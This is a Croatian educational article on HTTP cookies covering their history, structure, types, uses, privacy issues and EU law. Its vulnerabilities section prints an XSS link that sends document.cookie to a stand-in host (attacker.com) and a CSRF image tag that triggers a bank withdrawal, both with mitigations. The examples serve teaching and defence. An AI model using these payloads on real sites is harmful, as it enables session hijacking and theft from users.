Sadržaj

HTTP kolačići (HTTP Cookies)

Sažetak

HTTP kolačići su mali dijelovi podataka koje poslužitelj šalje korisničkom web-pregledniku. Preglednik ih šalje uz svaki sljedeći zahtjev na isti poslužitelj. Smišljeni su za pamćenje stanja u pregledniku tijekom komunikacije HTTP protokolom. Kolačići se koriste u tri svrhe: upravljanje sesijama, personalizaciju i praćenje.

Mnogo web stranica koristi kolačiće za provjeru autentičnosti i održavanje korisnika prijavljenim. Kod takvih web stranica napadači mogu lažirati zahtjeve korisnika ako uspiju ukrasti njihove kolačiće. Postoji mnogo načina kako se kolačići mogu ukrasti. Iz tog razloga su razvijene razne metode zaštite kolačića. No, svejedno postoji mogućnosti krađe čak i kolačića najviše razine zaštićenosti pa nije preporučljivo u kolačiće spremati osjetljive podatke, te je uz kolačiće poželjno uvesti dodatne provjere autentičnosti zahtjeva.

Kolačići imaju važne implikacije na privatnost i anonimnost web korisnika. Web stranica može sadržavati slike ili druge komponente pohranjene na poslužiteljima na drugim domenama. Kolačići koji su postavljeni tijekom preuzimanja ovih komponenti nazivaju se kolačići treće strane (engl. third-party cookies). Oglašivačke tvrtke koriste kolačiće treće strane za praćenje korisnika na više web stranica. Poznavanje koje stranice posjećuje korisnik omogućava oglašivačkoj tvrtki da ciljano prikazuje oglase prema pretpostavljenim preferencijama korisnika. To otvara mogućnost stvaranja tajnog profila korisnika što predstavlja ozbiljnu prijetnju privatnosti korisnika.

Ključne riječi: kolačići; cookies; HTTP; third-party; session hijacking; otmica sesije

Uvod

HTTP kolačić (web kolačić, kolačić u pregledniku) je mali dio podataka koji poslužitelj šalje korisničkom web-pregledniku. Preglednik ga može pohraniti i poslati uz sljedeći zahtjev na isti poslužitelj. Obično se koristi za provjeru jesu li dva zahtjeva došla iz istog preglednika - na primjer, za održavanje korisnika prijavljenim. Pamti podatke o stanju HTTP protokola koji inače sam ne pamti nikakve podatke o stanju. Kolačići se uglavnom koriste u tri svrhe:

  1. Upravljanje sesijama - Prijave, kolica za kupovinu, rezultate igre ili bilo što drugo što se server treba sjetiti
  2. Personalizacija - Korisničke preferencije, teme i druge postavke
  3. Praćenje - Snimanje i analiza ponašanja korisnika

Kolačići su se nekad koristili za opću pohranu na strani klijenta. Iako je ovo bilo legitimno kada su oni bili jedini način pohrane podataka na klijentu, danas je preporučeno korištenje modernih API-ja za pohranu. Kolačići se šalju uz svaki zahtjev, tako da mogu pogoršati performanse mreže (posebno za mobilne podatkovne veze).

Povijest

Kolačiće je 1994. godine osmislio programer Lou Montulli koji je tada radio za Netscape. U to vrijeme je radio na razvoju web aplikacije za e-trgovinu i trebao je rješenje za održavanje stanja košarice na računalu-klijentu. Do tada je svaki posjet web stranici bio kao prvi i održavanje stanja nije bilo moguće. Montulli je iste godine napisao početnu specifikaciju kolačića za Netscape, s Johnom Giannandreaom. Prva upotreba kolačića (izvan laboratorija) bila je za provjeru jesu li posjetitelji web stranice Netscape već posjetili tu stranicu. Montulli je prijavio patent za tehnologiju kolačića 1995., a odobren mu je 1998. pod brojem US 5774670.

Uvođenje kolačića u to vrijeme nije bilo poznato široj javnosti. Kolačići su bili prihvaćeni prema zadanim postavkama, a korisnici nisu bili obaviješteni o njihovoj prisutnosti. Šira javnost saznala je za kolačiće nakon što je Financial Times objavio članak o njima 12. veljače 1996. Iste su godine kolačići privukli veliku pozornost medija, posebno zbog potencijalnih implikacija na privatnost korisnika.

Razvoj formalne specifikacije kolačića je tada već bio u tijeku. Prve rasprave o formalnoj specifikaciji započele su u travnju 1995. na www-talk email listi. Formirana je posebna radna grupa unutar Internet Engineering Task Force (IETF)-a. Bilo je alternativnih prijedloga za uvođenje stanja u HTTP komunikaciju. No grupa, na čelu s Davidom Kristolom i Louom Montullijem, je ubrzo odlučila iskoristiti postojeću Netscape specifikaciju kao polaznu točku. U veljači 1996. radna grupa identificirala je kolačiće treće strane kao značajnu prijetnju privatnosti. Specifikacija koje je proizašla iz toga je RFC 2109 objavljena u veljači 1997. Odredila je da kolačići treće strane ili uopće nisu dozvoljeni ili barem nisu omogućeni prema zadanim postavkama. RFC 2965 je zamijenio RFC 2109 u listopadu 2000. U travnju 2011. godine je objavljena je RFC 6265 koja je napisana kao definitivna specifikacija za kolačiće.

Pojam “cookie” (“kolačić”) prvi je koristio sam izumitelj kolačića Lou Montulli. To je izvedenica iz izraza “magic cookie” (“čarobni kolačić”) koji koriste Unix programeri, a predstavlja paket podataka koji program prima i šalje natrag nepromijenjen.

Struktura

Kolačić se sastoji od sljedećih komponenti:

  1. Name: Određuje naziv kolačića
  2. Value: Određuje vrijednost kolačića
  3. Secure: Određuje treba li kolačić prenositi samo preko sigurne HTTPS veze. Prisutnost zastavice označava da će se kolačić postaviti samo ako je veza kriptirana
  4. Domain: Određuje domensko ime kolačića. Da bi kolačić postao dostupan na svim poddomenama domene primjer.com, domenu treba postaviti na “primjer.com”. Ako domenu postavite na “www.primjer.com”, kolačić će biti dostupan samo u www poddomeni
  5. Path: Određuje put do kolačića na poslužitelju. Ako je postavljen na “/”, kolačić će biti dostupan unutar cijele domene. Ako je postavljen na “/php/”, kolačić će biti dostupan samo unutar php direktorija i svih njegovih poddirektorija. Zadana vrijednost je trenutni direktorij u kojem se kolačić postavlja
  6. HTTPOnly: Prisutnost zastavice znači da će kolačić biti dostupan samo putem HTTP protokola (kolačić neće biti dostupan skriptnim jezicima). Ova postavka može pomoći sa sprječavanjem krađe identiteta putem XSS napada
  7. Expires: Određuje kada kolačić prestane vrijediti. Ako je ovaj parametar izostavljen ili postavljen na 0, kolačić prestaje vrijediti na kraju sesije (odnosno kada se preglednik zatvori). Zadano je 0
  8. SameSite: Sprječava preglednik da šalje kolačić sa zahtjevima na više web lokacija. Strict označava da će preglednik poslati kolačiće samo za zahtjeve iste web lokacije. Lax označava da se kolačići na istoj web lokaciji zadržavaju u podupitama na više mjesta, poput poziva za učitavanje slika ili okvira, ali bit će poslani kada korisnik klikne na URL s vanjske stranice. None označava da će preglednik poslati kolačiće i sa zahtjevima na više web lokacija i sa zahtjevima iste web lokacije. Zadano je Lax

Implementacija

Kolačići su proizvoljni komadi podataka, obično ih odabire i prvo šalje web poslužitelj, a internetski preglednik pohranjuje na klijentskom računalu. Potom ih preglednik vraća poslužitelju uz svaki zahtjev, uvodeći stanja (memoriju prethodnih događaja) u HTTP transakcije bez stanja. Bez kolačića svako bi preuzimanje web stranice ili komponente web stranice bilo izolirani događaj, koji uglavnom nije povezan sa svim ostalim akcijama koje je korisnik izvršio na istoj web stranici. Iako kolačiće obično postavlja web poslužitelj, klijent ih također može postaviti pomoću skriptnog jezika kao što je JavaScript (osim ako nije postavljena zastavica HttpOnly kolačića, u tom slučaju kolačić se ne može mijenjati skriptnim jezicima). Implementacije web preglednika imaju ograničenja u broju i veličini kolačića koje mogu pohraniti. Preglednici moraju pružiti svaku od sljedećih mogućnosti:

Poslužitelji trebaju koristiti što manje kolačića kako bi izbjegli dostizanje ovih ograničenja implementacije, te zbog minimizacije korištenja mreže za slanje kolačića zato što su uključeni u svaki zahtjev. Na slici dolje je jednostavan primjer korištenja kolačića.

Postavljanje kolačića na poslužitelju

Kad prima HTTP zahtjev, poslužitelj može poslati zaglavlje Set-Cookie s odgovorom. Preglednik obično pohranjuje kolačić, te kolačić šalje sa svim zahtjevima upućenim istom poslužitelju unutar HTTP zaglavlja Cookie. Može se odrediti datum isteka ili trajanje, nakon čega se kolačić više ne šalje. Uz to, mogu se postaviti ograničenja na određenu domenu i put kojim se ograničava mjesto slanja kolačića. Zaglavlje HTTP odgovora Set-Cookie šalje kolačiće s poslužitelja korisničkom agentu. Jednostavan kolačić postavlja se uključivanjem sljedeće linije u zaglavlje odgovora:

Set-Cookie: <ime-kolačića>=<vrijednost-kolačića>
Postavljanje kolačića na klijentu

Novi kolačići mogu se stvoriti i putem JavaScript-a, korištenjem svojstva Document.cookie. Ovako stvoreni kolačići ne mogu sadržavati HttpOnly zastavicu. Ako zastavica HttpOnly nije postavljena kod slanja s poslužitelja, tim kolačićima može se pristupiti i putem JavaScript-a što predstavlja sigurnosni rizik, odnosno takvi kolačići mogu ukrasti. Slijedi primjer stvaranja i ispisa kolačića putem JavaScript-a.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie);
// ispisuje: "yummy_cookie=choco; tasty_cookie=strawberry"

Vrste

Sesijski kolačići (Session cookies)

Kolačići koji se brišu kada se preglednik zatvori, jer su pohranjeni u privremenoj memoriji preglednika. Najčešće se koriste za web stranice e-trgovine kako bi korisnik mogao nastaviti pregledavati bez gubitka onoga što je stavio u svoju košaricu. Ako korisnik ponovno otvori web stranicu nakon zatvaranja preglednika, ovi kolačići više neće biti dostupni. Relativno su sigurni jer im ne može pristupiti nijedan programer osim onoga koji trenutno koristi taj preglednik.

Trajni kolačići (Persistent cookies)

Kolačići koji ne ovise o sesiji preglednika jer su pohranjeni u datoteci računala na kojem se preglednik koristi. Ako korisnik zatvori preglednik i ponovno pristupi web stranici, ovi kolačići će i dalje će biti dostupni. Životni vijek ovih kolačića naveden je u samim kolačićima kao vrijeme isteka. Manje su sigurni.

Sigurni kolačići (Secure cookies)

Sigurni kolačići mogu se prenositi samo preko kriptirane veze. Kolačić postaje siguran dodavanjem Secure zastavice u kolačić. Preglednici koji podržavaju Secure zastavicu šalju kolačiće sa sigurnom zastavicom samo kad zahtjev ide na HTTPS stranicu.

Samo HTTP kolačići (HTTP Only cookies)

Ovim kolačićima može pristupiti samo poslužitelj. Svaki pokušaj pristupa kolačićima putem klijentske skripte je strogo zabranjen. Postavljaju se HttpOnly zastavicom. Ovo je važna sigurnosna zaštita za sesijske kolačiće.

Zombi kolačići (Zombie cookies)

Kolačići koji se ponovno stvore nakon brisanja. Stvaraju se iz sigurnosnih kopija pohranjenih izvan namjenskog prostora za kolačiće.

Kolačići iste web lokacije (SameSite kolačići)

SameSite zastavica sprječava preglednik da pošalje ove kolačiće sa zahtjevima za resursima koji se nalaze na više web lokacija. Glavni cilj je smanjiti rizik otkrivanja osjetljivih informacija u zahtjevima s više izvora. Također pruža određenu zaštitu od napada krivotvorenim zahtjevima na različitim web lokacijama.

Kolačići treće strane (Third Party cookies)

Kolačići koje postavlja domena koja nije ista domeni koja se pojavljuje u adresnoj traci preglednika. Ovi kolačići se uglavnom koriste za praćenje tipičnog pregledavanja korisnika i/ili pronalaženje preporuka za prikazivanje oglasa korisniku.

Superkolačići (Supercookies)

Superkolačići su kolačići koji potiču s domene najviše razine (kao što je .com) ili javnog sufiksa (kao što je .co.uk). Obični kolačići potiču s određene imenske domene (kao što je primjer.com). Superkolačići predstavljaju potencijalni sigurnosni problem i zato ih web preglednici često blokiraju.

Svrha

Upravljanje sesijama

Kolačići su prvotno uvedeni kako bi korisnicima omogućili pamćenje predmeta koje su označili za kupnju, odnosno za tzv. virtualne košarice. U današnje vrijeme se sadržaj korisničke košarice obično pohranjuje u bazu podataka na poslužitelju, a ne u kolačiće na klijentskom računalu. Kako bi znao koja je korisnikova košarica, poslužitelj klijentu šalje kolačić koji sadrži jedinstveni identifikator sesije (obično dugi niz slučajnih slova i brojeva). Budući da se kolačići šalju poslužitelju sa svakim zahtjevom koji klijent pošalje, identifikator sesije bit će poslan natrag na poslužitelj svaki put kada korisnik posjeti istu web stranicu, što omogućuje poslužitelju da zna koju košaricu prikazati korisniku. Još jedna popularna upotreba kolačića je za prijavu na web stranice. Kada korisnik posjeti stranicu za prijavu, poslužitelj klijentu obično šalje kolačić koji sadrži jedinstveni identifikator sesije. Kad se korisnik uspješno prijavi, poslužitelj zapamti da je taj određeni identifikator sesije ovjeren i korisniku omogućuje pristup svojim uslugama. Budući da sesijski kolačići sadrže samo jedinstveni identifikator sesije, to čini količinu osobnih podataka koje web stranica može spremiti o svakom korisniku gotovo neograničenom, odnosno web stranica nije ograničena na ograničenje veličine kolačića. Sesijski kolačići također poboljšavaju vrijeme učitavanja stranica, jer je količina podataka u sesijskom kolačiću mala.

Personalizacija

Kolačići se mogu koristiti za pamćenje podataka o korisniku kako bi se korisniku prikazao relevantan sadržaj. Na primjer, web poslužitelj može poslati kolačić koji sadrži korisničko ime koje je zadnji put upotrijebljeno za prijavu na web stranici, tako da se može automatski popuniti sljedeći put kada se korisnik prijavi. Mnoge web stranice koriste kolačiće za personalizaciju na temelju korisničkih želja. Korisnici odabiru svoje postavke unoseći ih u web obrazac i predajući obrazac poslužitelju. Poslužitelj kodira postavke u kolačić i šalje ga natrag pregledniku. Tako poslužitelj može personalizirati stranicu u skladu s korisnikovim željama svaki put kada korisnik pristupi web stranici. Na primjer, DuckDuckGo pretraživač koristi kolačiće kako bi korisnicima omogućio postavljanje postavki poput boje web stranice.

Praćenje

Kolačići za praćenje koriste se za praćenje navika pregledavanja korisnika. Ovo se može u određenoj mjeri učiniti i korištenjem IP adrese računala koje traži stranicu ili referer polja zaglavlja HTTP zahtjeva, ali kolačići omogućuju veću preciznost. To se može pokazati na sljedeći način:

  1. Ako korisnik zatraži web stranicu, a zahtjev ne sadrži kolačić, poslužitelj pretpostavlja da je ovo prva stranica koju je korisnik posjetio. Tada poslužitelj stvara jedinstveni identifikator i šalje ih kao kolačić natrag pregledniku s traženom stranicom.
  2. Od ovog trenutka preglednik će automatski poslati kolačić poslužitelju svaki put kada se zatraži nova stranica s tog web mjesta. Poslužitelj ne samo da šalje stranicu kao i obično, već pohranjuje i URL tražene stranice, datum i vrijeme zahtjeva i kolačić u dnevnik.
  3. Analizom dnevnika moguće je otkriti koje je stranice korisnik posjetio, u kojem redoslijedu i koliko dugo.

Korporacije koriste internetske navike korisnika, prateći kolačiće, za prikupljanje podataka o navikama kupnje.

Nedostatci

Kod kolačića postoji i nekoliko tehničkih nedostataka. Identifikacija korisnika nije uvijek točna, mogu se upotrijebiti za kibernetičke napade i u konfliktu su s REST softverskim arhitektonskim stilom.

Netočna identifikacija

Ako se na računalu koristi više preglednika, svaki obično ima zasebno područje za pohranu kolačića. Prema tome kolačići ne identificiraju osobu, nego kombinaciju korisničkog računa, računala i web preglednika. To znači da svatko tko koristi više računa, računala ili preglednika ima više skupova kolačića. Isto tako, kolačići ne razlikuju više korisnika koji dijele isti korisnički račun, računalo i preglednik.

Neskladno stanje na klijentu i poslužitelju

Upotreba kolačića može stvoriti neusklađenost između stanja klijenta i stanja pohranjenog u kolačiću. Ako korisnik dobije kolačić, a zatim klikne gumb “Natrag” u pregledniku, stanje u pregledniku uglavnom nije isto kao prije dostavljanja tog kolačića. Primjerice, ako je košarica internetske trgovine izgrađena pomoću kolačića, sadržaj košarice se možda neće promijeniti kad se korisnik vrati u povijest preglednika. Odnosno ako korisnik pritisne gumb za dodavanje predmeta u košaricu i zatim klikne gumb “Natrag”, predmet ostaje u košarici. Takvo ponašanje potencijalno nije namjera korisnika, koji je možda želio poništiti dodavanje stavke. To može dovesti do nepouzdanosti i drugih problema. Programeri bi trebali biti svjesni ovog problema i pripremiti mjere za rješavanje takvih situacija.

Ranjivosti

Mnogo web stranica koristi kolačiće kao jedini identifikator korisničke sesije, jer druge metode identifikacije korisnika imaju ograničenja i ranjivosti. Kod takvih web stranica napadači mogu lažirati zahtjeve korisnika ako uspiju ukrasti kolačiće žrtvama. S gledišta web poslužitelja, zahtjev napadača tada ima istu razinu pristupa kao i zahtjev žrtve, odnosno zahtjev se obavlja u sklopu žrtvine sesije. Zbog mogućnosti krađe čak i kolačića najviše razine zaštićenosti nije preporučljivo u kolačiće spremati osjetljive podatke, te bi se uz identifikator sesije trebale uvesti dodatne provjere autentičnosti zahtjeva.

U nastavku su navedeni razni načini na koje se kolačići mogu ukrasti.

Prisluškivanje mreže

Promet na mreži može se neovlašteno presresti i čitati (osobito preko nekodiranog otvorenog Wi-Fi-ja). To uključuje i kolačiće poslane uz obične nešifrirane HTTP zahtjeve. Kod nešifriranog mrežnog prometa napadači mogu čitati komunikacije drugih korisnika na mreži, uključujući HTTP kolačiće kao i cjelokupni sadržaj komunikacije, što predstavlja tzv. "čovjek-u-sredini" (man-in-the-middle) napad. Napadač može upotrijebiti presretnute kolačiće za lažno predstavljanje korisnika i obavljanje zlonamjernih akcija, poput prijenosa novca s bankovnog računa žrtve.

Ovaj problem može se riješiti osiguravanjem komunikacije korištenjem HTTPS protokola za šifriranje veze. Poslužitelj treba postaviti Secure zastavicu tijekom stvaranja kolačića, kako bi osigurao da preglednik šalje kolačić samo preko šifriranog komunikacijskog kanala.

Krađa kolačića putem XSS napada

Kolačići se mogu ukrasti tehnikom koja se zove Cross-site scripting ili skraćeno XSS. To se događa kada napadač iskoristi mogućnost web stranice koja svojim korisnicima dopušta (namjerno ili nenamjerno) umetanje nefiltriranog HTML i JavaScript koda. Umetanjem zlonamjernog HTML i JavaScript koda napadač može uzrokovati da web preglednik žrtve pošalje kolačiće na web stranicu koju napadač kontrolira. Na primjer, napadač može objaviti poruku na ranjivoj web stranici sa sljedećom poveznicom:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

Kada neki korisnik klikne na ovu poveznicu, preglednik izvršava komad koda unutar atributa onclick, zamjenjujući tako niz document.cookie s popisom svih kolačića koji su dostupni s trenutne stranice. Nakon toga se popis kolačića šalje na poslužitelj attacker.com. Ako je trenutna stranica zaštićena HTTPS protokolom i kolačići imaju postavljenu zastavicu Secure, napadač će svejedno primiti te kolačiće u običnom tekstu. Odgovornost razvojnih programera je da filtriraju takav zlonamjerni kod.

Ovakvi napadi mogu se spriječiti upotrebom zastavice HttpOnly. Kolačići s postavljenom HttpOnly zastavicom nisu dostupni skriptnim jezicima na strani klijenta kao što je JavaScript, pa ih prema tome napadač neće moći ukrasti.

Krađa kolačića putem XSS proxy zahtjeva

U starijim verzijama mnogih preglednika postojale su sigurnosne rupe u implementaciji XMLHttpRequest API-ja. Ovaj API omogućuje stranicama da odrede proxy poslužitelj koji bi dobio odgovor. Taj proxy poslužitelj ne podliježe pravilima istog podrijetla (same-origin policy). Na primjer, korisnik čita objavu napadača na www.example.com, i napadačeva skripta se izvršava u pregledniku korisnika. Skripta generira zahtjev na www.example.com s proxy poslužiteljem attacker.com. Budući da je zahtjev za www.example.com, svi kolačići s te web stranice bit će poslani sa zahtjevom, ali proslijeđeni kroz napadačev proxy poslužitelj. Dakle, napadač može pristupiti kolačićima korisnika.

Ovaj napad ne bi funkcionirao sa Secure kolačićima, jer se mogu prenijeti samo preko HTTPS veza, a HTTPS protokol osigurava end-to-end enkripciju (informacije se kriptiraju u korisnikovom pregledniku i dešifriraju tek na odredišnom poslužitelju). U tom slučaju će proxy poslužitelj vidjeti samo šifrirane HTTP zahtjeve.

Objavljivanje lažne poddomene - trovanje DNS cachea (DNS cache poisoning)

Ako napadač uspije prevariti DNS poslužitelj da u cache unese izmišljeni DNS unos (DNS cache poisoning), to bi moglo omogućiti napadaču pristup kolačićima korisnika. Na primjer, napadač može upotrijebiti trovanje DNS cachea za izradu izmišljenog DNS unosa f12345.www.example.com koji upućuje na IP adresu napadačevog poslužitelja. Napadač tada može objaviti URL slike s vlastitog poslužitelja (na primjer, http://f12345.www.example.com/img_4_cookie.jpg). Korisnici koji čitaju poruku napadača preuzeli bi ovu sliku s f12345.www.example.com. Budući da je f12345.www.example.com poddomena www.example.com, preglednici korisnika poslat će sve kolačiće povezane sa example.com na napadačev poslužitelj.

Ako napadač to uspije napraviti, obično su krivci davatelji internetskih usluga zato što nisu pravilno osigurali svoje DNS poslužitelje. Međutim, ozbiljnost ovog napada može se umanjiti ako ciljna web stranica koristi Secure kolačiće. U tom slučaju, napadač bi imao dodatni izazov pribaviti TLS certifikat ciljane web stranice od certifikacijskog tijela jer se sigurni kolačići mogu prenijeti samo preko šifrirane veze. Bez odgovarajućeg TLS certifikata, preglednici žrtava prikazivali bi poruku upozorenja o napadačevom nevaljanom certifikatu, što bi pomoglo korisnicima da odustanu od posjeta napadačeve web stranice i da tako pošalju napadaču svoje kolačiće.

Krađa kolačića krivotvorenjem zahtjeva s više stranica (Cross-site request forgery)

Cross-site request forgery, skraćeno CSRF ili XSRF, vrsta je zlonamjernog iskorištavanja web stranica u kojoj se od korisnika kojem web aplikacija vjeruje prenose neovlaštene naredbe. Postoji mnogo načina na koje zlonamjerna web stranica može prenijeti takve naredbe. Na primjer, posebno izrađene slikovne oznake (engl. tags), skriveni obrasci (engl. forms) i JavaScript XMLHttpRequests mogu funkcionirati bez korisnikove interakcije i znanja. Za razliku od XSS napada, koji iskorištava povjerenje koje korisnik ima u određenu web stranicu, CSRF koristi povjerenje koje web stranica ima u korisnikov preglednik. U CSRF napadu napadač vara krajnjeg korisnika, odnosno njegov preglednik da podnese web zahtjev za koji nije namjeravao. To može uzrokovati krađu podataka klijenta ili poslužitelja, promjenu stanja sesije ili manipuliranje računom krajnjeg korisnika.

Na primjer, Luka može pregledavati forum za razgovor na kojem je drugi korisnik, Mario, objavio poruku. Pretpostavimo da je Mario izradio HTML slikovni element koji upućuje na radnju na web stranici Lukine banke (umjesto na sliku), poput:

<img src="http://bank.example.com/withdraw?account=luka&amount=1000000&for=mario">

Ako Lukina banka podatke o autentifikaciji drži u kolačiću, i ako kolačić nije istekao, pokušaj Lukinog preglednika da učita sliku poslat će obrazac za slanje novaca s kolačićem banke i tako odobriti transakciju bez Lukinog odobrenja.

Kako bi se ova ranjivost spriječila kolačići koji se koriste za osjetljive radnje (poput sesijskih kolačića) trebali bi imati kratak vijek trajanja s atributom SameSite postavljenim na Strict.

Cookiejacking

Cookiejacking je oblik hakiranja u kojem napadač može dobiti pristup sesijskim kolačićima korisnika Internet Explorera. Otkrio ga je istraživač internetske sigurnosti Rosario Valotta. On omogućava napadaču da dobije kolačić s bilo koje web stranice, a time i korisničko ime i lozinku, tako što korisnika prevari i navede da povuče objekt preko zaslona. Iako je Microsoft to ocijenio niskim rizikom zbog “razine potrebne korisničke interakcije”, i potrebe da se korisnik već prijavi na web stranicu čiji je kolačić meta, Valotta je uspio društvenim inženjeringom za tri dana ukrasti kolačiće 80 od 150 njegovih prijatelja na Facebooku.

Privatnost i kolačići treće strane

Kolačići imaju važne implikacije na privatnost i anonimnost web korisnika. Iako se kolačići šalju samo poslužitelju koji ih postavlja ili poslužitelju na istoj internetskoj domeni, web stranica može sadržavati slike ili druge komponente pohranjene na poslužiteljima na drugim domenama. Kolačići koji su postavljeni tijekom preuzimanja ovih komponenti nazivaju se kolačići treće strane (engl. third-party cookies). Stariji standardi za kolačiće, RFC 2109 i RFC 2965, određuju da preglednici trebaju zaštititi privatnost korisnika i ne dopuštati dijeljenje kolačića između poslužitelja prema zadanim postavkama. No, noviji standard, RFC 6265, izričito omogućava korisničkim agentima provode koju god politiku o kolačićima treće strane žele.

Oglašivačke tvrtke koriste kolačiće treće strane za praćenje korisnika na više web stranica. Konkretno, oglašavačka tvrtka može pratiti korisnika na svim stranicama na koje postavlja oglase ili web beacon. Poznavanje koje stranice posjećuje korisnik omogućava oglašivačkoj tvrtki da ciljano prikazuje oglase prema pretpostavljenim preferencijama korisnika.

Vlasnici web stranica koji korisnicima ne objave upotrebu kolačića, riskiraju manje povjerenje korisnika ako se otkrije uporaba kolačića. Javno otkrivanje namjene (kao što je politika privatnosti) uklanjanja bilo kakve negativne učinke otkrića takvih kolačića.

Mogućnost stvaranja tajnog profila korisnika predstavlja prijetnju privatnosti, posebno kada se praćenje radi na više domena pomoću kolačića treće strane. Zbog toga neke zemlje imaju zakone o kolačićima.

Direktiva Europske unije o kolačićima

Zahtjevi za kolačiće u cijeloj Europskoj uniji definirani su u Direktivi 2009/136/EC Europskog parlamenta i stupili su na snagu 25. svibnja 2011. Direktiva sama po sebi nije zakon, već uvjet da zemlje članice EU usvoje zakone koji poštuju sve zahtjeve direktive. Stvarni zakoni mogu se razlikovati od zemlje do zemlje. EU direktiva određuje da prije nego što netko može pohraniti ili preuzeti bilo kakve informacije s računala, mobilnog telefona ili drugog uređaja, korisnik mora dati informirani pristanak za to. Mnoge web stranice su od tada dodale natpise kako bi obavijestile korisnike o korištenju kolačića.

Za udovoljavanje svim EU propisima koji uređuju kolačiće potrebno je:

Zaključak

HTTP kolačići se obično koriste za pohranjivanje tokena za provjeru autentičnosti (tajni ključ potreban za autorizaciju zahtjeva), praćenje povijesti pregledavanja (koje obično koriste oglašivači) ili snimanje stanja (npr. stavki dodanih u košaricu). Šalju se automatski sa svakim HTTP zahtjevom.

Zbog korištenja za provjeru autentičnosti postoji velik rizik od otimanja korisničke sesije krađom kolačića. Iz tog razloga programeri trebaju paziti da maksimalno zaštite osjetljive kolačiće kako bi zaštitili krajnje korisnike.

Kolačići treće strane koriste se uz oglase širom web-a kako bi pratili povijest pregledavanja s ciljem pružanja ciljanog oglašavanja. Iako se mogu koristiti za skupljanje podataka koje narušava privatnost, također se upotrebljavaju i za poboljšanje korisničkog iskustva.

Izvori

[1] HTTP Cookie, https://en.wikipedia.org/wiki/HTTP_cookie, pristupano: siječanj 2020.

[2] HTTP cookies, Web technology for developers, https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies, pristupano: siječanj 2020.

[3] Andrew Stuart, Where cookie comes from, 1.7.2002., MYSTERIES OF THE INTERNET, http://dominopower.com/article/where-cookie-comes-from/, pristupano: 6.1.2020.

[4] Kristol, D. M. HTTP Cookies: Standards, Privacy, and Politics. ACM Transactions on Internet Technology, Vol. 1, #2, Studeni 2001.

[5] Raj Chadnel, Beginner Guide to Understand Cookies and Session Management, 6.7.2017., https://www.hackingarticles.in/beginner-guide-understand-cookies-session-management/, pristupano: 7.1.2020.

[6] HTTP State Management Mechanism, travanj 2011., https://tools.ietf.org/html/rfc6265, pristupano: siječanj 2020.

[7] Http Cookie, https://networkencyclopedia.com/http-cookie/, pristupano: siječanj 2020.

[8] Jim Finkle, Microsoft latest security risk: 'Cookiejacking', 26.5.2011., https://www.reuters.com/article/microsoft-security/microsoft-latest-security-risk-cookiejacking-idUSN2517397120110525, pristupano: 8.1.2020.

[9] Richie Koch, Cookies, the GDPR, and the ePrivacy Directive, https://gdpr.eu/cookies/, pristupano: 9.1.2020.